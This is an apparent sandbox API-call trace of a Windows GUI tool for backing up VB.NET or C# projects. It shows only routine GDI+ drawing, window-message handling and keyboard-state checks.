GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0241.867] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0241.867] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0241.867] LocalFree (hMem=0x4fa4b20) returned 0x0 [0241.867] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0241.867] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0241.867] LocalFree (hMem=0x4fa4b20) returned 0x0 [0241.867] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0241.867] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0241.867] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0241.867] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0241.868] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0241.868] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0241.868] GetCurrentObject (hdc=0x170101a0, type=0x1) returned 0x1b00017 [0241.868] GetCurrentObject (hdc=0x170101a0, type=0x2) returned 0x1900010 [0241.868] GetCurrentObject (hdc=0x170101a0, type=0x7) returned 0xa0506be [0241.868] GetCurrentObject (hdc=0x170101a0, type=0x6) returned 0x18a002e [0241.868] SaveDC (hdc=0x170101a0) returned 1 [0241.868] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x610401e4 [0241.868] GetClipRgn (hdc=0x170101a0, hrgn=0x610401e4) returned 0 [0241.868] SelectClipRgn (hdc=0x170101a0, hrgn=0x8e040221) returned 2 [0241.868] DeleteObject (ho=0x610401e4) returned 1 [0241.868] DeleteObject (ho=0x8e040221) returned 1 [0241.868] OffsetViewportOrgEx (in: hdc=0x170101a0, x=0, y=0, lppt=0x242f7b0 | out: lppt=0x242f7b0) returned 1 [0241.868] DrawThemeParentBackground () returned 0x0 [0241.868] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0241.868] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0241.868] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0241.868] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0241.868] GetSystemMetrics (nIndex=42) returned 0 [0241.868] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0241.868] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0241.868] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0241.868] GetCurrentObject (hdc=0x170101a0, type=0x1) returned 0x1b00017 [0241.868] GetCurrentObject (hdc=0x170101a0, type=0x2) returned 0x1900010 [0241.868] GetCurrentObject (hdc=0x170101a0, type=0x7) returned 0xa0506be [0241.869] GetCurrentObject (hdc=0x170101a0, type=0x6) returned 0x18a002e [0241.869] SaveDC (hdc=0x170101a0) returned 2 [0241.869] GetNearestColor (hdc=0x170101a0, color=0xf0f0f0) returned 0xf0f0f0 [0241.869] CreateSolidBrush (color=0xf0f0f0) returned 0x211006b3 [0241.869] FillRect (hDC=0x170101a0, lprc=0x52e314, hbr=0x211006b3) returned 1 [0241.869] DeleteObject (ho=0x211006b3) returned 1 [0241.869] RestoreDC (hdc=0x170101a0, nSavedDC=-1) returned 1 [0241.869] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0241.869] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0241.869] GetSystemMetrics (nIndex=42) returned 0 [0241.869] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0241.869] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0241.869] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0241.869] GetCurrentObject (hdc=0x170101a0, type=0x1) returned 0x1b00017 [0241.869] GetCurrentObject (hdc=0x170101a0, type=0x2) returned 0x1900010 [0241.869] GetCurrentObject (hdc=0x170101a0, type=0x7) returned 0xa0506be [0241.869] GetCurrentObject (hdc=0x170101a0, type=0x6) returned 0x18a002e [0241.869] SaveDC (hdc=0x170101a0) returned 2 [0241.870] GetNearestColor (hdc=0x170101a0, color=0xf0f0f0) returned 0xf0f0f0 [0241.870] CreateSolidBrush (color=0xf0f0f0) returned 0x221006b3 [0241.870] FillRect (hDC=0x170101a0, lprc=0x52e2b4, hbr=0x221006b3) returned 1 [0241.870] DeleteObject (ho=0x221006b3) returned 1 [0241.870] RestoreDC (hdc=0x170101a0, nSavedDC=-1) returned 1 [0241.870] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0241.870] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0241.870] GetSystemMetrics (nIndex=42) returned 0 [0241.870] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0241.870] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0241.870] RestoreDC (hdc=0x170101a0, nSavedDC=-1) returned 1 [0241.870] GdipReleaseDC (graphics=0x4da5930, hdc=0x170101a0) returned 0x0 [0241.870] IsAppThemed () returned 0x1 [0241.870] GetThemeAppProperties () returned 0x3 [0241.870] GetThemeAppProperties () returned 0x3 [0241.870] IsAppThemed () returned 0x1 [0241.870] GetThemeAppProperties () returned 0x3 [0241.870] GetThemeAppProperties () returned 0x3 [0241.870] IsThemePartDefined () returned 0x1 [0241.870] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0241.870] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0241.870] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0241.870] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0241.870] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0241.870] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0241.870] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0241.870] LocalFree (hMem=0x4fa4b20) returned 0x0 [0241.870] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0241.871] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0241.871] LocalFree (hMem=0x4fa4b20) returned 0x0 [0241.871] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0241.871] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0241.871] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0241.871] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0241.871] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0241.871] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0241.871] GetCurrentObject (hdc=0x170101a0, type=0x1) returned 0x1b00017 [0241.871] GetCurrentObject (hdc=0x170101a0, type=0x2) returned 0x1900010 [0241.871] GetCurrentObject (hdc=0x170101a0, type=0x7) returned 0xa0506be [0241.871] GetCurrentObject (hdc=0x170101a0, type=0x6) returned 0x18a002e [0241.871] SaveDC (hdc=0x170101a0) returned 1 [0241.871] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x8f040221 [0241.871] GetClipRgn (hdc=0x170101a0, hrgn=0x8f040221) returned 0 [0241.871] SelectClipRgn (hdc=0x170101a0, hrgn=0x630401e4) returned 2 [0241.871] DeleteObject (ho=0x8f040221) returned 1 [0241.871] DeleteObject (ho=0x630401e4) returned 1 [0241.871] OffsetViewportOrgEx (in: hdc=0x170101a0, x=0, y=0, lppt=0x24301e8 | out: lppt=0x24301e8) returned 1 [0241.871] IsAppThemed () returned 0x1 [0241.871] GetThemeAppProperties () returned 0x3 [0241.871] GetThemeAppProperties () returned 0x3 [0241.871] DrawThemeBackground () returned 0x0 [0241.871] RestoreDC (hdc=0x170101a0, nSavedDC=-1) returned 1 [0241.871] GdipReleaseDC (graphics=0x4da5930, hdc=0x170101a0) returned 0x0 [0241.871] GdipCreateRegion (region=0x52e790) returned 0x0 [0241.871] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0241.871] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0241.872] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0241.872] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0241.872] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0241.872] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0241.872] LocalFree (hMem=0x4fa4b20) returned 0x0 [0241.872] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0241.872] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0241.872] LocalFree (hMem=0x4fa4b20) returned 0x0 [0241.872] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0241.872] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0241.872] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0241.872] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0241.872] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0241.872] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0241.872] GetCurrentObject (hdc=0x170101a0, type=0x1) returned 0x1b00017 [0241.872] GetCurrentObject (hdc=0x170101a0, type=0x2) returned 0x1900010 [0241.872] GetCurrentObject (hdc=0x170101a0, type=0x7) returned 0xa0506be [0241.872] GetCurrentObject (hdc=0x170101a0, type=0x6) returned 0x18a002e [0241.872] SaveDC (hdc=0x170101a0) returned 1 [0241.872] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x640401e4 [0241.872] GetClipRgn (hdc=0x170101a0, hrgn=0x640401e4) returned 0 [0241.872] SelectClipRgn (hdc=0x170101a0, hrgn=0x90040221) returned 2 [0241.872] DeleteObject (ho=0x640401e4) returned 1 [0241.872] DeleteObject (ho=0x90040221) returned 1 [0241.872] OffsetViewportOrgEx (in: hdc=0x170101a0, x=0, y=0, lppt=0x24304bc | out: lppt=0x24304bc) returned 1 [0241.872] IsAppThemed () returned 0x1 [0241.872] GetThemeAppProperties () returned 0x3 [0241.872] GetThemeAppProperties () returned 0x3 [0241.872] GetThemeBackgroundContentRect () returned 0x0 [0241.872] RestoreDC (hdc=0x170101a0, nSavedDC=-1) returned 1 [0241.873] GdipReleaseDC (graphics=0x4da5930, hdc=0x170101a0) returned 0x0 [0241.873] IsAppThemed () returned 0x1 [0241.873] GetThemeAppProperties () returned 0x3 [0241.873] GetThemeAppProperties () returned 0x3 [0241.873] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0241.873] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0241.873] GetCurrentObject (hdc=0x170101a0, type=0x1) returned 0x1b00017 [0241.873] GetCurrentObject (hdc=0x170101a0, type=0x2) returned 0x1900010 [0241.873] GetCurrentObject (hdc=0x170101a0, type=0x7) returned 0xa0506be [0241.873] GetCurrentObject (hdc=0x170101a0, type=0x6) returned 0x18a002e [0241.873] SaveDC (hdc=0x170101a0) returned 1 [0241.873] GetTextAlign (hdc=0x170101a0) returned 0x0 [0241.873] GetTextColor (hdc=0x170101a0) returned 0x0 [0241.873] GetCurrentObject (hdc=0x170101a0, type=0x6) returned 0x18a002e [0241.873] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0241.873] SelectObject (hdc=0x170101a0, h=0xc0a01e7) returned 0x18a002e [0241.873] GetBkMode (hdc=0x170101a0) returned 2 [0241.873] SetBkMode (hdc=0x170101a0, mode=1) returned 2 [0241.873] DrawTextExW (in: hdc=0x170101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x2430850 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0241.873] DrawTextExW (in: hdc=0x170101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x2430850 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0241.874] RestoreDC (hdc=0x170101a0, nSavedDC=-1) returned 1 [0241.874] GdipReleaseDC (graphics=0x4da5930, hdc=0x170101a0) returned 0x0 [0241.874] GetFocus () returned 0x10186 [0241.874] IsAppThemed () returned 0x1 [0241.874] GetThemeAppProperties () returned 0x3 [0241.874] GetThemeAppProperties () returned 0x3 [0241.874] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0241.874] BitBlt (hdc=0x701068c, x=0, y=0, cx=163, cy=29, hdcSrc=0x170101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0241.874] GdipReleaseDC (graphics=0x4da5930, hdc=0x170101a0) returned 0x0 [0241.874] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0241.874] SelectObject (hdc=0x170101a0, h=0x185000f) returned 0xa0506be [0241.874] DeleteDC (hdc=0x170101a0) returned 1 [0241.874] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0241.874] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0241.874] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0241.874] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0241.874] WaitMessage () returned 1 [0241.962] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0241.962] IsWindowUnicode (hWnd=0x101a4) returned 1 [0241.962] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0241.962] TranslateMessage (lpMsg=0x52ef98) returned 0 [0241.962] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0241.962] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0241.962] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0241.962] WaitMessage () returned 1 [0242.165] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0242.165] IsWindowUnicode (hWnd=0x101a6) returned 1 [0242.165] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0242.165] TranslateMessage (lpMsg=0x52ef98) returned 0 [0242.165] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0242.165] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0242.165] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0242.165] WaitMessage () returned 1 [0245.712] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0245.713] IsWindowUnicode (hWnd=0x10186) returned 1 [0245.713] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0245.713] GetKeyState (nVirtKey=16) returned 0 [0245.713] GetKeyState (nVirtKey=17) returned 0 [0245.713] GetKeyState (nVirtKey=18) returned -127 [0245.713] SendMessageW (hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0245.713] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0245.713] GetKeyState (nVirtKey=16) returned 0 [0245.713] GetKeyState (nVirtKey=17) returned 0 [0245.713] GetKeyState (nVirtKey=18) returned -127 [0245.713] TranslateMessage (lpMsg=0x52ef98) returned 1 [0245.713] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0245.713] GetKeyState (nVirtKey=16) returned 0 [0245.713] GetKeyState (nVirtKey=17) returned 0 [0245.713] GetKeyState (nVirtKey=18) returned -127 [0245.713] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0245.713] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0245.713] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0245.713] WaitMessage () returned 1 [0245.724] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0245.724] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0245.724] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0245.724] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0245.741] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0245.741] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0245.741] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0245.741] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0245.741] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0245.741] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0245.742] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0245.748] NtdllDefWindowProc_W () returned 0x0 [0245.748] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0245.748] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0245.748] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0245.748] GetCapture () returned 0x0 [0245.748] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0245.748] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0245.748] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0245.748] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0245.748] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0245.748] IsWindowUnicode (hWnd=0x10186) returned 1 [0245.748] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0245.748] TranslateMessage (lpMsg=0x52ef98) returned 0 [0245.748] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0245.749] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x60106b7 [0245.749] SelectPalette (hdc=0x60106b7, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0245.749] CreateCompatibleDC (hdc=0x60106b7) returned 0x230101a0 [0245.749] SelectObject (hdc=0x230101a0, h=0xa0506be) returned 0x185000f [0245.749] GdipCreateFromHDC (hdc=0x230101a0, graphics=0x52ea94) returned 0x0 [0245.749] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0245.749] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0245.749] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0245.749] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0245.749] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0245.749] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0245.749] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0245.749] LocalFree (hMem=0x4fa4b20) returned 0x0 [0245.749] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0245.867] GdipCreateRegion (region=0x52eadc) returned 0x0 [0245.867] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0245.867] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0245.867] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0245.867] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd910dbd) returned 0x0 [0245.867] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0245.867] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0245.867] GetCurrentObject (hdc=0x230101a0, type=0x1) returned 0x1b00017 [0245.867] GetCurrentObject (hdc=0x230101a0, type=0x2) returned 0x1900010 [0245.867] GetCurrentObject (hdc=0x230101a0, type=0x7) returned 0xa0506be [0245.876] GetCurrentObject (hdc=0x230101a0, type=0x6) returned 0x18a002e [0245.876] SaveDC (hdc=0x230101a0) returned 1 [0245.876] GetNearestColor (hdc=0x230101a0, color=0xf0f0f0) returned 0xf0f0f0 [0245.876] GetNearestColor (hdc=0x230101a0, color=0xa0a0a0) returned 0xa0a0a0 [0245.876] GetNearestColor (hdc=0x230101a0, color=0x696969) returned 0x696969 [0245.876] GetNearestColor (hdc=0x230101a0, color=0xa0a0a0) returned 0xa0a0a0 [0245.876] GetNearestColor (hdc=0x230101a0, color=0x0) returned 0x0 [0245.876] GetNearestColor (hdc=0x230101a0, color=0xffffff) returned 0xffffff [0245.876] GetNearestColor (hdc=0x230101a0, color=0xe5e5e5) returned 0xe5e5e5 [0245.876] GetNearestColor (hdc=0x230101a0, color=0xd7d7d7) returned 0xd7d7d7 [0245.876] GetNearestColor (hdc=0x230101a0, color=0x0) returned 0x0 [0245.876] RestoreDC (hdc=0x230101a0, nSavedDC=-1) returned 1 [0245.876] GdipReleaseDC (graphics=0x4da5930, hdc=0x230101a0) returned 0x0 [0245.876] IsAppThemed () returned 0x1 [0245.876] GetThemeAppProperties () returned 0x3 [0245.876] GetThemeAppProperties () returned 0x3 [0245.877] IsAppThemed () returned 0x1 [0245.877] GetThemeAppProperties () returned 0x3 [0245.877] GetThemeAppProperties () returned 0x3 [0245.877] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x24a4e80 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0245.877] IsAppThemed () returned 0x1 [0245.877] GetThemeAppProperties () returned 0x3 [0245.877] GetThemeAppProperties () returned 0x3 [0245.877] IsAppThemed () returned 0x1 [0245.877] GetThemeAppProperties () returned 0x3 [0245.877] GetThemeAppProperties () returned 0x3 [0245.877] GetFocus () returned 0x0 [0245.878] IsAppThemed () returned 0x1 [0245.878] GetThemeAppProperties () returned 0x3 [0245.878] GetThemeAppProperties () returned 0x3 [0245.878] IsAppThemed () returned 0x1 [0245.879] GetThemeAppProperties () returned 0x3 [0245.879] GetThemeAppProperties () returned 0x3 [0245.879] IsThemePartDefined () returned 0x1 [0245.879] IsAppThemed () returned 0x1 [0245.879] GetThemeAppProperties () returned 0x3 [0245.879] GetThemeAppProperties () returned 0x3 [0245.879] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0245.879] IsAppThemed () returned 0x1 [0245.879] GetThemeAppProperties () returned 0x3 [0245.879] GetThemeAppProperties () returned 0x3 [0245.879] IsAppThemed () returned 0x1 [0245.879] GetThemeAppProperties () returned 0x3 [0245.879] GetThemeAppProperties () returned 0x3 [0245.879] IsThemePartDefined () returned 0x1 [0245.879] GdipCreateRegion (region=0x52e804) returned 0x0 [0245.879] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0245.879] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0245.879] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0245.879] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0245.879] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0245.879] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0245.879] LocalFree (hMem=0x4fa4b20) returned 0x0 [0245.879] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0245.879] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0245.879] LocalFree (hMem=0x4fa4b20) returned 0x0 [0245.880] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0245.880] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0245.880] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0245.880] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0245.880] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0245.880] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0245.880] GetCurrentObject (hdc=0x230101a0, type=0x1) returned 0x1b00017 [0245.880] GetCurrentObject (hdc=0x230101a0, type=0x2) returned 0x1900010 [0245.880] GetCurrentObject (hdc=0x230101a0, type=0x7) returned 0xa0506be [0245.880] GetCurrentObject (hdc=0x230101a0, type=0x6) returned 0x18a002e 